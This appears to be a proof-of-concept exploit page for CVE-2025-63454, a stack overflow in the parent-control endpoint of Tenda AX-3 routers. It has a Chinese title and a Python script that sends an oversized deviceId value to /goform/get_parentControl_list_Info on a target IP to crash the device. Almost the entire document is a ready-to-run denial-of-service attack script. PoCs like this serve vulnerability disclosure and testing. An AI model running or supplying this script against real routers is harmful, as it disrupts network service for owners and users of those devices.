CVE-2025-63454 Tenda AX-3 设备get_parentControl_list_Info函数栈溢出导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-63454 PoC - Tenda AX-3 Stack Overflow in get_parentControl_list_Info This PoC demonstrates a stack overflow vulnerability in the deviceId parameter of the get_parentControl_list_Info function in Tenda AX-3 routers. """ import requests import sys def exploit_cve_2025_63454(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in Tenda AX-3 router. Args: target_ip: Target router IP address target_port: Target router web port (default: 80) """ url = f"http://{target_ip}:{target_port}/goform/get_parentControl_list_Info" # Generate payload with 1000 'A' characters to trigger overflow # Adjust length based on actual buffer size payload = "A" * 1000 # Construct the request data data = { "deviceId": payload } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Target may be crashed or not responding: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_63454(target, port)